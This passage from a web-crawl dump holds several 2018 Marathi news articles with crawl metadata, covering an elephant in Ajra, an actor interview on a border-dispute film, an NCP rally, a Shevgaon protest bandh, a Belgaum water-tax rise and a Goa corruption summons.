ऍप्सच या व्यासपीठापर्यंत पोहचू शकतील.\nस्टार्टअपस्टाशडॉटकॉम (Startupstash.com) आणि स्टार्टअपरिसोर्सेसडॉटआयओ (Startupresources.io) हे या क्षेत्रातील दोन स्टार्टअप्स स्टार्टअपयारचे थेट स्पर्धक आहेत. स्पर्धेबाबत बोलताना वरुण म्हणतात की, बरेच नवे खेळाडू या क्षेत्रात येत आहेत कारण येथे प्रवेश सोपा आहे. “ मात्र, आम्ही स्टार्टअपयार सुधारण्यासाठी सातत्याने कष्ट घेत आहोत, जेणेकरुन ते ग्राहकांसाठी अधिकाधिक मूल्य निर्मिती करत राहील,” ते स्पष्ट करतात.\nलेखक – तौसिफ आलम\nअनुवाद – सुप्रिया पटवर्धन\nया तरुणी जागरूकता निर्माण करण्यासाठी गरीब महिलांना मोफत सॅनिटरी नॅपकिन्सचे वाटप करतात \nचेह-यात काही नसते, जयप्रकाशने अनेक अडचणी असूनही त्याच्या लहानपणीच्या मैत्रिणीशीच केले लग्न\nबंगळुरूच्या या दंतचिकित्सकाने भारताच्या वतीने ‘मिस व्हिलचेअर वर्ल्ड २०१७’ साठी नामांकन दाखल केले आहे\n. . . . . आणि एक अभागी 'वसईकर' पासवाला\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00411.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://lokmat.news18.com/maharastra/elephant-strikes-in-ajra-267596.html", "date_download": "2018-09-25T16:52:18Z", "digest": "sha1:AWYYUUL4EKSQNI2N6M3ITMTK7BMUFVIQ", "length": 13874, "nlines": 126, "source_domain": "lokmat.news18.com", "title": "'हत तिच्या' ! हत्तीच्या मागे धावले कोल्हापूरकर", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\n हत्तीच्या मागे धावले कोल्हापूरकर\nगावात आलेला हत्ती पळवून लावण्याची वनविभागाची मोहिम पहायला काल आजऱ्यात गावकऱ्यांनी एकच गर्दी केली होती. हत्ती त्याच्यामागे वनविभागाचे कर्मचारी आणि त्यांच्या मागे उत्सुकतेने धावणारे बघे यांचा एक व्हिडीओही व्हायरल झालाय.\nआजरा, 19 ऑगस्ट: 'हत्ती इलो रे' हे वाक्य कोकणात सुप्रसिद्ध आहे . पण हे वाक्य काल कोल्हापुर जिल्ह्यातील आजरा येथे पाहायला मिळालं. गावात आलेला हत्ती पळवून लावण्याची वनविभागाची मोहिम पहायला काल आजऱ्यात गावकऱ्यांनी एकच गर्दी केली होती. हत्ती त्याच्यामागे वनविभागाचे कर्मचारी आणि त्यांच्या मागे उत्सुकतेने धावणारे बघे यांचा एक व्हिडीओही व्हायरल झालाय.\nआजरा शहरात पश्चिमेकडील मंजिरी परिसरात मुस्लिम दफनभूमी आहे. तेथे शुक्रवारी दुपारी तीन वाजल्यापासून एक टस्कर हत्ती नासधूस करत होता. त्यातच आजऱ्याचा आठवडी बाजार असल्याने शुक्रवारी गावात गर्दी होती. हत्ती दफनभूमीत असल्याची माहिती मिळताच, नागरिकांनी त्या परिसरात मोठी गर्दी केली होती. दरम्यान हत्तीला आवरण्यासाठी वन खात्याचे कर्मचारीही घटनास्थळी दाखल झाले. पण हत्ती काही हातात येईना मागे बघ्यांचाच लोंढा निर्माण झाला. हत्ती आला, हत्ती आला अशी चर्चा करत सगळं गावचं लोटलं. त्यामुळे हत्तीला हलावण्यात अडथळे येत होते.\nवन खात्याचे अधिकारी फटाके वाजवून हत्तीला पळवून लावण्याचा प्रयत्न करत असून अजूनही या हत्तीचा तळ आजऱ्याजवळच आहे. नागरिकांमध्ये भीतीचे वातावरण आहे. कोल्हापूर जिल्ह्यातील गगनबावडामध्येही 4 दिवसांपूर्वी हत्तीच्या हल्ल्यात 5 जण जखमी झाले होते.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nमुख्यमंत्री आणि गडकरींच्या नागपुरात चार दिवसांपासून बससेवा ठप्प\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00412.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://marathi.yourstory.com/read/e9f42e48ae/human-sense-jagavanarya-films-is-needed-today-abhineta-doamola-kolhe", "date_download": "2018-09-25T17:55:57Z", "digest": "sha1:YL6H4R2LGTFN3HH4Z6OM2ASSWSUBC2KV", "length": 10759, "nlines": 80, "source_domain": "marathi.yourstory.com", "title": "मानवी संवेदना जागवणाऱ्या सिनेमांची आज खरी गरज आहे -अभिनेता डॉ.अमोल कोल्हे", "raw_content": "\nमानवी संवेदना जागवणाऱ्या सिनेमांची आज खरी गरज आहे -अभिनेता डॉ.अमोल कोल्हे\nमराठी सिनेमामध्ये नवनवे प्रयोग होतायत नवनवीन विषय मांडले जातायत यात नातेसंबंध, कौटुंबिक तसेच सामाजिक विषयांचा समावेश होतोय. अशाच सामाजिक आणि प्रांतिक समस्येवर प्रकाश टाकणारा मराठी टायगर्स हा सिनेमा येत्या फेब्रुवारी महिन्यात प्रदर्शित होतोय. सीमाप्रश्नावर आधारित या सिनेमाचा विषय पहाता सध्या या सिनेमाला बेळगांवमध्ये कानडी संघटनांकडून कडाडून विरोध होतोय. अभिनेता डॉ.अमोल कोल्हे याची या सिनेमात महत्वाची भूमिका आहे.\nअमोलच्या मते मराठी सिनेमा अधिक वास्तवदर्शी बनतोय हे खरंय. पण अजूनही मराठी सिनेमात असे अनेक विषय येणं बाकी आहे ज्याचा संबंध महाराष्ट्र आणि यातल्या विविध चळवळींशी आहे. मग तो सीमाप्रश्न असू दे किंवा भाषिक चळवळ. कारण या चळवळी वाटताना जरी राजकीय मुद्दा वाटत असला तरी त्याचा संबंध हा तिथल्या प्रत्येक माणूस आणि त्याच्या रोजच्या आयुष्याशी आहे ही बाब नाकारुन चालणार नाही. मानवी संवेदना या फक्त कुटुंब, नातेसंबंध याच बाबींशी निगडीत नाहीये तर आपण जिथे रहातो तिथे आपल्याला संपूर्ण स्वातंत्र्य, भयमुक्त वातावरण आणि समान हक्क मिळणंही गरजेचं आहे. म्हणूनच सिनेमा. कारण सिनेमा हे जसं मनोरंजनाचं माध्यम आहे तसंच प्रबोधनाचं आणि जनजागृतीचंही.\nमी असं म्हणत नाही की या विषयांवर सिनेमा बनतच नाहीयेत पण बनले तरी ते लोकांपर्यंत पोहचतायत का लोकांपर्यंत पोहचले तरी ते त्यांना भावतायत का पटतायत का हे महत्वाचंय. अनेकदा असे सिनेमे बनतात आणि कुठल्या ना कुठल्या वादात अडकतात किंवा ते प्रदर्शित झाले तरी त्यांना प्रेक्षकांचा पुरेपुर प्रतिसाद मिळतोच असे नाही. मराठी टायगर्स हा सिनेमा एका ज्वलंत विषयाला प्रकाशझोतात आणतो अर्थात हा विषय मांडताना यात सिनेमॅटीक लिबर्टी येतेच. त्यामुळेच या सिनेमात लव्हस्टोरी आहेत गाणी आहेत. पण यातनं सिनेमाच्या मूळ विषयाला धक्का लागत नाही.\nएक अभिनेता म्हणून अमोलने आत्तापर्यंत ज्या ज्या कलाकृती साकारल्या त्या वास्तववादी आणि सामाजिक विषयांना मांडणाऱ्या आहेत. म्हणजे मग अमोलची भूमिका असलेले अरे आवाज कुणाचा, रणभुमी, रमा माधव, राजा शिवछत्रपती, राजमाता जिजाऊ सारखे सिनेमे असू दे किंवा भगवा, सत्ताधीश, शिवपुत्र संभाजीराजे सारखी नाटकं असू देत. आपल्या भूमिकेतून आणि कलाकृतीमधून अमोल नेहमीच सामाजिक जाणिवा जपत आलाय.\nअमोल सांगतो, जेव्हा मराठी टायगर्स या सिनेमाबद्दल मला विचारले गेले मी लगेच होकार कळवला. कारण बेळगावमध्ये सीमाप्रश्नाच्या या वादामुळे माझ्या एका चर्चित नाटकाचा शो मला मोकळ्या मैदानात करता आला नव्हता, एक कलाकार म्हणून त्यावेळी मला वाईट वाटलेच पण या देशाचा एक नागरिक म्हणून मी अधिक दुखावलो होतो. माझ्या भाषेमुळे जर राज्यातल्या एका भागात माझ्यावर मर्यादा येत असतील तर मी कसं सहन करावं. याबद्दल जर मला आवाज उठवायचा असेल तर कलाकार म्हणून माझ्याकडे खूप सक्षम असं माध्यम आहे आणि हे माध्यम म्हणजेच हा सिनेमा.\nअमोलला या गोष्टीची खंत आहे की त्याचा हा अनुभव त्याला मराठी टायगर्स या सिनेमात समाविष्ट करता आला नाही. मात्र तरीही तो आवर्जुन सांगतो की मराठी टायगर्स सारख्या सिनेमांची आज खऱी आवश्यकता आहे.\nमराठी टायगर्स या सिनेमाच्या प्रदर्शनाला बेळगावमध्ये विरोध होतोय हे खरं असलं तरी यावरचा तोडगा काय याबद्दल कोणीच बोलत नाही. म्हणजे एरवी एका कुटुंबासारखं वावरणारं मराठी मनोरंजन क्षेत्र काही मुद्दयांबद्दल मात्र अलिप्तच रहाताना दिसतं. अमोल मात्र त्याच्या या नव्या सिनेमासाठी खूप उत्सुक आहे, बेळगांवमध्ये होणारी मराठी लोकांची मुस्कटदाबी समोर आलीच पाहिजे असं त्याचं म्हणणंय. कलाकार म्हणून तो या मुद्द्याला उचलूनही धरतोय.\nनटसम्राट सिनेमाच्या रुपेरी पडद्यावर येणं ही स्वप्नपूर्ती..- दिग्दर्शक महेश मांजरेकर\nटेलिव्हिजन टीआरपीचा विचार न करता, गोष्टीशी प्रामाणिक राहून काम केलं तर यश तुमचंच - दिग्दर्शक मंदार देवस्थळी\nसहज सुटसुटीत प्रसुतीचा मॉडर्न पर्याय म्हणजे 'डान्स ऑफ बर्दींग'\nअश्विनी तेरणीकर : फिल्ममेकिंगप्रमाणे त्याचे प्रमोशनही एकजुट प्रयत्नांचा उत्तम नमुना बनू शकतं.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00413.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Ahamadnagar/Former-Deputy-Chief-Minister-Ajit-Pawar/", "date_download": "2018-09-25T16:57:41Z", "digest": "sha1:7SGCBGRHHRXMWJFQF2RHEJS64XL275LB", "length": 9057, "nlines": 38, "source_domain": "www.pudhari.news", "title": " शेतकर्‍यांचे राज्य आणण्याची राष्ट्रवादीत धमक | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Ahamadnagar › शेतकर्‍यांचे राज्य आणण्याची राष्ट्रवादीत धमक\nशेतकर्‍यांचे राज्य आणण्याची राष्ट्रवादीत धमक\nसुशिक्षित तरुणांना वडे-भजे विकण्याचे सल्ले देणार्‍यांच्या विचारांची किव येत आहे, तर दुतोंडी शिवसेनेने सत्तेसाठी लाचारी पत्कारली आहे. अशा परिस्थितीत राज्यातील प्रत्येक तरुणाला रोजगार देतानाच शेतकर्‍यांचे राज्य आणण्याची धमक फक्त राष्ट्रवादीमध्येच असल्याचे प्रतिपादन माजी उपमुख्यमंत्री अजित पवार यांनी केले. राहुरी येथे राष्ट्रवादी काँग्रेसच्या हल्लाबोल आंदोलनाच्यावेळी ते बोलत होते. अध्यक्षस्थानी विधानसभेचे माजी अध्यक्ष दिलीप वळसे होते.\nयुती सरकारच्या कारभारावर चौफेर टीका करीत पवार म्हणाले की, विजय मल्ल्याने 9 हजार कोटी रुपयांना चुना लावल्यानंतर नीरव मोदी हा उद्योगपती 11.5 हजार कोटी बुडवत परदेशात फरार झाला. दुसरीकडे तुटपुंज्या रकमेसाठी बँका शेतकर्‍यांना तगादा लावत असून सरकार त्याबाबत काहीच बोलत नाही. परिणामी शेतकर्‍यांच्या आत्महत्या वाढल्या. ‘व्यापार्‍यांना साथ तर शेतकर्‍यांना लाथ’ ही प्रथा भाजपाने देशात सुरू केली आहे. पैसे बुडविणार्‍या उद्योगपतींना पंतप्रधान मोदी सोबत घेऊन परदेशात जातात. यावरून पळून जाणार्‍या उद्योजकांना सरकारची साथ असल्याचे स्पष्ट होत आहे. दुसरीकडे शेतकर्‍यांचा पुळका दाखविणार्‍या शिवसेनेला आम्ही गांडूळ म्हटल्यास राग येतो. परंतु सेनेचे वागणे काही समजत नाही. कर्जमाफी नाही, कांदा, ऊस, सोयाबीन, कापूस पिकांना भाव नसताना भाजपाचा विरोध दाखविणारे उद्धव ठाकरे मुख्यमंत्र्यांच्या मांडीला मांडी लावून बसल्याने भाजपासह सेनेचा खरा चेहरा दिसून येत आहे. मुख्यमंत्री ‘फेकू’ तर पंतप्रधान ‘महाफेकू’ आहेत. साखरेचे बाजार पडत असताना, शेतीमालाला कवडीमोल बाजारभाव असताना शेतकरी आत्महत्या वाढत आहेत.\nविधानपरिषदेतील विरोधी पक्षनेते धनंजय मुंडे यांनी भाजप सरकारवर चौफेर फटकेबाजी करताना पंतप्रधान नरेंद्र मोदी व मुख्यमंत्री देवेंद्र फडणवीस यांच्या भाषणाअगोदर चॅनेलवाल्यांनी सिनेमा व मालिकेपूर्वी दाखविले जाणारे काल्पनिकतेची पट्टी दाखविल्यास वावगे ठरणार नाही.\nखा. सुप्रिया सुळे म्हणाल्या, जनतेने त्यांना विश्‍वासाने सत्ता दिली. मात्र, या विश्‍वासघातकी लोकांनी हल्लाबोल करण्याची वेळ आणली आहे. आता मागील चुका करू नका. माजी मंत्री जयंत पाटील म्हणाले, भाजपा धार्मिक भावनेला हात घालून धर्माचा आधार घेतो, यातूनच भीमा-कोरेगावसारखी पुरोगामी महाराष्ट्राला काळिमा फासणारी घटना घडली आहे. शरद पवार केंद्रीय कृषिमंत्री असताना शेतकरी निश्‍चिंत होते.\nवळसे यांनी कर्जमाफीची मागणी केल्याबद्दल आमच्या आमदारांना विधानसभेत निलंबित करण्यात आल्याकडे लक्ष वेधले. राष्ट्रवादीचे प्रदेशाध्यक्ष सुनील तटकरे, अब्दुलगफ्फार मलिक, माजी खा. प्रसाद तनपुरे, शिवाजी सागर यांनी मनोगत व्यक्त केले.\nयावेळी राष्ट्रवादीच्या महिला प्रदेशाध्यक्षा चित्रा वाघ, राजश्री घुले, मंजुुश्री गुंड, अनुराधा आदिक, डॉ. उषाताई तनपुरे, अविनाश आदिक, आशुतोष काळे, चंद्रशेखर घुले, सुरेशराव वाबळे, प्राजक्त तनपुरे आदी पदाधिकारी उपस्थित होते.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00414.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Ahamadnagar/The-protest-of-Shripad-Chindam-was-stopped-in-the-city-of-Shevgaon/", "date_download": "2018-09-25T16:55:22Z", "digest": "sha1:2PTXPBAXED4O4K537SWOFC5YJEM5ELYK", "length": 7691, "nlines": 37, "source_domain": "www.pudhari.news", "title": " शेवगावमध्ये कडकडीत बंद | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Ahamadnagar › शेवगावमध्ये कडकडीत बंद\nराज्याचे मुख्यमंत्री देवेंद्र फडणवीस यांच्याकडे गृहखाते असल्याने त्यांनी लक्ष घालून छिंदमच्या विरोधात अजामीनपात्र, दखलपात्र असा देशद्रोहाचा गुन्हा दाखल करावा. समाजविघातक प्रवृत्तींवर कडक कारवाई करावी, अन्यथा शिवप्रेमी जनता रस्त्यावर उतरून कायदा हातात घेईल व त्याची सर्वस्वी जबाबदारी सरकारची राहिल, असा इशारा अ‍ॅड. सुभाष लांडे यांनी दिला आहे.\nउपमहापौर श्रीकांत छिंदम यांनी छत्रपती शिवाजी महाराजांबद्दल वादग्रस्त वक्तव्य करून समाजात तेढ निर्माण केल्याच्या निषेधार्थ काल शेवगाव येथे राष्ट्रवादी काँग्रेस, शिवसेना, कम्युनिष्ठ, मनसे, संभाजी ब्रिगेड, स्वाभिमानी शेतकरी संघटना, चर्मकार संघटना, मुस्लिम समाजाचे पदाधिकारी, कार्यकर्ते व नागरीकांच्या वतीने शेवगाव शहरात कडकडीत बंद पाळण्यात आला. क्रांती चौकामध्ये छिंदम यांचा प्रतिकात्मक पुतळा जाळण्यात आला. यावेळी झालेल्या सभेत अँड. लांडे बोलत होते. यावेळी अ‍ॅड.अविनाश मगरे, माजी प्राचार्य शिवाजी देवढे, ताहेर पटेल, संजय नांगरे, शेतकरी संघटनेचे शहराध्यक्ष दत्ता फुंदे आदींनीही आपले मनोगत व्यक्त केले. यावेळी पोलिस निरीक्षक गोविंद ओमासे यांना मागण्यांचे निवेदन देण्यात आले.\nसंजय फडके म्हणाले की, पंतप्रधान मोदी यांच्या पुस्तकांसाठी 60 लाखांची तरतूद व शिवाजी महाराजांवरील पुस्तकांसाठी फक्त साडेतीन लाखाची तरतूद करून भाजपने शिवरायांचा अपमान केला आहे. उपमहापौर छिंदम याने जाणिवपूर्वक शिवाजी महाराजांबद्दल वादग्रस्त वक्तव्य केले आहे. छिंदम याच्या विरोधात पोलिस ठाण्यात गुन्हा दाखल केला आहे. मात्र फक्त गुन्हा दाखल न करता देशद्रोहाचा गुन्हा दाखल करावा. समाजामध्ये फूट पाडणार्‍या आरएसएस सारख्या समाजविघातक संघटनेवर सरकारने त्वरीत बंदी घालावी.\nया आंदोलनामध्ये गणेश रांधवणे, अजिंक्य लांडे, कृष्णा ढोरकुले, संतोष भुसारी, नगरसेवक सागर फडके, वजीर पठाण, शिवसेनेचे तालुकाप्रमुख भरत लोहकरे, सुनिल जगताप, शीतल पुरनाळे, शरद जोशी, रिजवान शेख आदींसह ग्रमस्थ व युवक मोठ्या संख्येने सहभागी झाले होते.\nशेवगाव बार असोसिएशनच्या वतीने शेवगाव येथे काम बंद आंदोलन करून या घटनेचा निषेध करण्यात आला. खानापूर येथील महिलांनी गाव बंद ठेवून अखिल भारतीय मराठा महासंघाच्या महिला जिल्हाध्यक्षा दुर्गा थोरात यांच्या मार्गदर्शनाखाली तहसीलदार दीपक पाटील यांना निवेदन दिले. तालुक्यामध्ये अनेक ठिकाणी गावातील व्यवहार बंद ठेवून या घटनेचा निषेध कऱण्यात आला.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00414.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Belgaon/300-rupees-in-water-strip-Growth/", "date_download": "2018-09-25T17:10:06Z", "digest": "sha1:S4Y6YNXE42AWS2PYY6DEDJYHMUPDA563", "length": 5006, "nlines": 49, "source_domain": "www.pudhari.news", "title": " पाणीपट्टीत 300 रु. वाढ? | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Belgaon › पाणीपट्टीत 300 रु. वाढ\nपाणीपट्टीत 300 रु. वाढ\nवर्षभरात बेळगावच्या नागरिकांना 100 दिवसही पाणी मिळत नाही. मात्र, नागरिकांकडून प्रत्येक महिन्याला न चुकता पाणीपट्टी वसूल केली जाते. आता पुन्हा एकदा बेळगावकरांना वाढीव पाणीपट्टीला सामोरे जावे लागणार आहे. वाढीव पाणीपट्टीसाठी पाणीपुरवठा महामंडळाने मनपाकडे तगादा लावला आहे. नजीकच्या काळात वर्षाला 300 रु. पाणीपट्टी वाढ होण्याची दाट शक्यता आहे.\nबेळगाव शहरातील 10 प्रभागात 24 तास पाणी योजनेंतर्गत मीटरद्वारे पाणीपट्टी आकारली जात आहे. 24 तास पाणी योजनेचा लाभ घेणार्‍या 10 प्रभागांतील नागरिकांना मुबलक प्रमाणात पाणी मिळते. याउलट शहरातील 48 प्रभागातील नागरिकांना वर्षातील 365 दिवसांपैकी 100 दिवसही पाणी मिळणे अवघड असते. 2011 साली पाणीपट्टी वाढविण्यात आली होती. त्यानंतर नव्याने पाणीपट्टी वाढ करण्यासाठी महामंडळ मनपाच्या मागे लागले आहे. सहायक कार्यकारी अभियंत्यांनी सोमवारी महापौर संज्योत बांदेकर यांची भेट घेऊन वाढीव यासंदर्भात चर्चा केली.\nपाणीपट्टीत 300 रु. वाढ\nबेळगावात धार्मिक तणाव, खडक गल्लीत तुफान दगडफेक\nतीन कारची विचित्र धडक\nदोन विद्यार्थ्यांचा नदीत मृत्यू\nरेल्वेच्या धडकेत वृद्ध ठार\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00414.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.pudhari.news/news/Goa/Unaccounted-property-case/", "date_download": "2018-09-25T17:35:38Z", "digest": "sha1:PWLFCDJG7PPN6FAHA7HPTIGCIGUKN2SB", "length": 4718, "nlines": 34, "source_domain": "www.pudhari.news", "title": " बेहिशेबी मालमत्ताप्रकरणी कवळेकर यांना समन्स | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Goa › बेहिशेबी मालमत्ताप्रकरणी कवळेकर यांना समन्स\nबेहिशेबी मालमत्ताप्रकरणी कवळेकर यांना समन्स\nबेहिशेबी मालमत्ताप्रकरणी चौकशीसाठी भ्रष्टाचार विरोधी पथकाकडून (एसीबी) विरोधी पक्ष नेते चंद्रकांत (बाबू) कवळेकर यांना सोमवारी (दि.5) सकाळी 11 वाजता एसीबीच्या कार्यालयात चौकशीसाठी हजर राहण्यासाठी समन्स बजावण्यात आले आहे, असे सूत्रांनी सांगितले.\nकवळेकर यांनी सुमारे 4.78 कोटी रुपयांची बेहिशेेबी मालमत्ता जमवल्याचे एसीबीने सप्टेंबर-2017 मध्ये दाखल केलेल्या एफआयआरमध्ये नमूद केले होते. याप्रकरणी कवळेकर यांची पत्नी सावित्री यांचेही नाव गुन्ह्याला पाठीशी घातल्याच्या कारणावरून सदर एफआयआरमध्ये नोंदले आहे. कवळेकर यांच्या काही कंपन्यांमध्ये सावित्री या संचालक असल्याचे तपासात उघड झाले आहे. याआधी कवळेकर यांनी गोवा औद्योगिक विकास महामंडळाचे अध्यक्ष असताना केरळ राज्यात बेकायदेशीररित्या मालमत्ता विकत घेतल्याचे एसीबीच्या तपासात 2013 साली उघड झाले होते. कवळेकर हे सुमारे साडेसहा वर्षे महामंडळाचे अध्यक्ष होते, व त्या काळात केरळ राज्यात सुमारे 14 मालमत्ता विकत घेतल्याचा एसीबीने संशय व्यक्‍त केला आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : 